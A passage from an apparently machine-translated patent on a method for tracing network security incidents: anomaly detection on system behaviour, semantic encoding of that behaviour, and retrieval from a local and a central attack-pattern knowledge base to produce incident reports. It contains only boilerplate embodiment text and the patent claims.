[0205] The memory can be used to store software programs and modules, such as the program instructions / modules corresponding to the network security incident tracing and detection method and apparatus in this application embodiment. The processor executes various functional applications and data processing by running the software programs and modules stored in the memory, thereby realizing the aforementioned network security incident tracing and detection method. The memory may include high-speed random access memory, and may also include non-volatile memory, such as one or more magnetic storage devices, flash memory, or other non-volatile solid-state memory. In some instances, the memory may further include memory remotely located relative to the processor, and these remote memories can be connected to the terminal via a network. Examples of such networks include, but are not limited to, the Internet, corporate intranets, local area networks, mobile communication networks, and combinations thereof.

[0206] Those skilled in the art will understand that Figure 6 The structure shown is for illustrative purposes only. Electronic devices can also be smartphones, tablets, handheld computers, mobile internet devices (MIDs), PADs, and other terminal devices. Figure 6 This does not limit the structure of the aforementioned electronic device. For example, electronic devices may also include components that are more... Figure 6 The more or fewer components shown (such as network interfaces, display devices, etc.), or having the same Figure 6 The different configurations shown.

[0207] Those skilled in the art will understand that all or part of the steps in the various methods of the above embodiments can be implemented by a program instructing the hardware related to the terminal device. The program can be stored in a computer-readable storage medium, which may include: flash drive, read-only memory (ROM), random access memory (RAM), disk or optical disk, etc.

[0208] The sequence numbers of the above embodiments of the present invention are for descriptive purposes only and do not represent the superiority or inferiority of the embodiments.

[0209] In the above embodiments of the present invention, the descriptions of each embodiment have different focuses. For parts not described in detail in a certain embodiment, please refer to the relevant descriptions of other embodiments.

[0210] In the several embodiments provided in this application, it should be understood that the disclosed technical content can be implemented in other ways. The device embodiments described above are merely illustrative; for example, the division of units can be a logical functional division, and in actual implementation, there may be other division methods. For instance, multiple units or components may be combined or integrated into another system, or some features may be ignored or not executed. Furthermore, the displayed or discussed mutual coupling, direct coupling, or communication connection may be through some interfaces; the indirect coupling or communication connection between units or modules may be electrical or other forms.

[0211] The units described as separate components may or may not be physically separate. The components shown as units may or may not be physical units; that is, they may be located in one place or distributed across multiple units. Some or all of the units can be selected to achieve the purpose of this embodiment according to actual needs.

[0212] Furthermore, the functional units in the various embodiments of the present invention can be integrated into one processing unit, or each unit can exist physically separately, or two or more units can be integrated into one unit. The integrated unit can be implemented in hardware or as a software functional unit.

[0213] If the integrated unit is implemented as a software functional unit and sold or used as an independent product, it can be stored in a computer-readable storage medium. Based on this understanding, the technical solution of the present invention, in essence, or the part that contributes to the prior art, or all or part of the technical solution, can be embodied in the form of a software product. This computer software product is stored in a storage medium and includes several instructions to cause a computer device (which may be a personal computer, server, or network device, etc.) to execute all or part of the steps of the methods described in the various embodiments of the present invention. The aforementioned storage medium includes various media capable of storing program code, such as USB flash drives, read-only memory (ROM), random access memory (RAM), portable hard drives, magnetic disks, or optical disks.

[0214] The above description is only a preferred embodiment of the present invention. It should be noted that for those skilled in the art, several improvements and modifications can be made without departing from the principle of the present invention, and these improvements and modifications should also be considered within the scope of protection of the present invention.

Claims

1. A method for tracing and detecting the source of network security incidents, characterized in that, include: The system process is monitored by a trusted terminal, and the system behavior data collected periodically is input into the anomaly detection model, which outputs the anomaly detection results. The anomaly detection model is used to analyze the underlying data in machine language to determine whether there is abnormal behavior in the target system. In the event of abnormal behavior in the target system, the system process is blocked, and the system behavior data is semantically converted through a semantic agent to obtain behavior text in natural language form and behavior encoding in vector form. Based on the behavior encoding, a preset knowledge base is retrieved to obtain the attack pattern and matching confidence of the system behavior data. The preset knowledge base includes a light quantum library located at the trusted terminal and a full library located at the trusted management terminal. The full library contains full attack data, and the light quantum library contains attack data corresponding to high-frequency attack types with attack frequencies higher than a preset frequency threshold. The full library provides timed data update services to the light quantum library. Based on the behavior encoding, a preset knowledge base is retrieved to obtain the attack patterns and matching confidence levels of the system behavior data, including: The trusted terminal performs a search in the local light quantum library based on the behavior code to obtain a first search result, wherein the first search result includes: a suspected attack pattern and a first matching confidence level; if the first matching confidence level is greater than or equal to a preset confidence threshold, the suspected attack pattern is determined as the attack pattern matching the system behavior data; If the first matching confidence level is less than the preset confidence threshold, the behavior code, the system behavior data, and the local search log are encrypted and encapsulated, and the resulting encrypted file is transmitted to the trusted management terminal. The trusted management terminal parses the encrypted file and searches the full database based on the parsing results to obtain a second search result, wherein the second search result includes: the attack mode matched by the system behavior data and the second matching confidence level. Based on the behavioral text, the attack pattern, the matching confidence level, the anomaly detection results, and the system context information, a network security incident tracing and handling report is generated.

2. The traceability detection method according to claim 1, characterized in that, The training steps of the anomaly detection model include: Model training data is constructed based on the trusted terminal, the semantic agent, and the preset knowledge base, wherein the model training data includes: behavioral samples and supervision labels; Obtain a preset classification model, input the behavior sample into the preset classification model, train the preset classification model according to the supervision label, and stop training when the model converges or reaches the preset classification accuracy to obtain an anomaly detection model.

3. The traceability detection method according to claim 2, characterized in that, The steps for constructing model training data based on the trusted terminal, the semantic agent, and the preset knowledge base include: In the test environment, system behavior logs are collected through the trusted terminal, wherein the system behavior logs include: normal operation behavior logs and abnormal attack behavior logs in machine language form; The semantic agent performs semantic parsing on the system behavior logs to generate a natural language text description of the system behavior, and then performs semantic encoding on the system behavior text description to generate a system behavior vector representation. Cosine similarity retrieval is performed in the preset knowledge base based on the system behavior vector representation, and the retrieval results are output, wherein the retrieval results include: system behavior property labels and confidence scores; The system behavior logs are used as the behavior samples, and the search results are used as the supervision labels to generate model training data.

4. The traceability detection method according to claim 1, characterized in that, After generating a cybersecurity incident tracing and handling report, the tracing and detection method further includes: Receive feedback from the operations and maintenance team regarding the traceability and testing report; If the new attack pattern pointed out in the feedback does not have a historical record in the full database, the behavior text, the behavior encoding, and the new attack pattern will be encapsulated into a new knowledge entry through the trusted management terminal. Update the new knowledge entries to the full database.

5. A network security incident tracing and detection device, characterized in that, include: The monitoring unit is used to monitor system processes through a trusted terminal, input the system behavior data collected periodically into the anomaly detection model, and output the anomaly detection results. The anomaly detection model is used to analyze the underlying data in machine language to determine whether there is abnormal behavior in the target system. The semantic conversion unit is used to block the system process when the target system exhibits abnormal behavior, and to perform semantic conversion on the system behavior data through a semantic agent to obtain behavior text in natural language form and behavior encoding in vector form. The retrieval unit is used to retrieve a preset knowledge base based on the behavior encoding to obtain the attack pattern and matching confidence of the system behavior data. The preset knowledge base includes a light quantum library located at the trusted terminal and a full library located at the trusted management terminal. The full library contains full attack data, and the light quantum library contains attack data corresponding to high-frequency attack types with attack frequencies higher than a preset frequency threshold. The full library provides a timed data update service to the light quantum library. The retrieval unit includes: a first retrieval module, used to perform a retrieval in a locally located light quantum library based on the behavior encoding through the trusted terminal to obtain a first retrieval result, wherein the first retrieval result includes: a suspected attack pattern and a first matching confidence level; and a determination module, used to determine the suspected attack pattern as an attack pattern matching the system behavior data when the first matching confidence level is greater than or equal to a preset confidence threshold. The retrieval unit further includes: an encapsulation module, used to encrypt and encapsulate the behavior code, the system behavior data, and the local retrieval log when the first matching confidence is less than the preset confidence threshold, and transmit the resulting encrypted file to the trusted management terminal; and a second retrieval module, used to parse the encrypted file through the trusted management terminal and search the full database according to the parsing result to obtain a second retrieval result, wherein the second retrieval result includes: the attack mode matched by the system behavior data and the second matching confidence. The generation unit is used to generate a network security incident tracing and handling report based on the behavioral text, the attack mode, the matching confidence level, the anomaly detection result, and system context information.

6. A computer-readable storage medium, characterized in that, The computer-readable storage medium includes a stored computer program, wherein, when the computer program is executed, it controls the device where the computer-readable storage medium is located to perform the network security incident tracing and detection method according to any one of claims 1 to 4.

7. An electronic device, characterized in that, It includes one or more processors and a memory, the memory being used to store one or more programs, wherein when the one or more programs are executed by the one or more processors, the one or more processors cause the one or more processors to implement the network security incident tracing and detection method according to any one of claims 1 to 4.

Images